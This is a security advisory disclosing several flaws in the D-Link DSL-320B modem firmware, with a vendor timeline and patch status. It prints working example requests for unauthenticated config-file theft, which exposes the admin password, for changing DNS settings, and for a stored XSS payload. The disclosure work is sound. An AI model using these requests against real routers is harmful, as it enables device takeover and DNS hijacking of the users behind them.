D-Link DSL-320B – Multiple Vulnerabilities
Device: DSL-320B Firmware Version: EU_DSL-320B v1.23 date: 28.12.2010 Vendor URL: http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem ============ Vulnerability Overview: ============ * Access to the Config file without authentication => full authentication bypass possible! :): (1) 192.168.178.111/config.bin ===<snip>==== <sysUserName value="admin"/> <zipb enable="1"/> <dns dynamic="disable" primary="1.1.1.1" secondary="2.2.2.3" domain="Home" host="alpha"/> <sysPassword value="dGVzdA=="/> ===<snip>==== => sysPassword is Base64 encoded * Access to the logfile without authentication: (1) 192.168.178.111/status/status_log.sys * Change the DNS Settings without authentication: (1) http://192.168.178.111/advanced/adv_dns.xgi?&SET/dns/mode=0&SET/dns/mode/server/primarydns=1.1.1.1&SET/dns/mode/server/secondarydns=2.2.2.2 * Stored XSS within parental control (2): => Parameter: set/bwlist/entry:1/hostname Request: http://192.168.178.111/home/home_parent.xgi?&set/bwlist/enable=1&set/bwlist/bw_status=0&set/bwlist/entry:1/bw_flag=0&set/bwlist/entry:1/hostname=%22%3E%3Cimg%20src=%220%22%20onerror=alert(1)%3E&set/bwlist/entry:1/weekday=6&set/bwlist/entry:1/begintime=00:00&set/bwlist/entry:1/endtime=23:59&set/bwlist/entry:1/store=1&set/bwlist/apply=1 Again you are able to place this XSS without authentication. :) * Login Credentials in HTTP GET are not a good idea => use HTTP Post! (3) http://192.168.178.111/login.xgi?user=admin&pass=admin1 * Credentials in HTTP GET via password change request are not a good idea => use HTTP Post!: (3) http://192.168.178.111/tools/tools_admin.xgi?&set/sys/account/user/oldpwd=admin&set/sys/account/user/password=test&CMT=1 ============ Solution ============ Update to firmware version 1.25: (1) - fixed (2) - not fixed but authentication needed (3) - not fixed ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de/advisories Twitter: @s3cur1ty_de ============ Time Line: ============ 17.03.2012 - discovered vulnerabilities 17.03.2013 - informed vendor about the vulnerabilities 25.04.2013 - tested beta version from vendor 30.04.2013 - vendor releases patch 06.05.2013 - public disclosure ===================== Advisory end ===================== |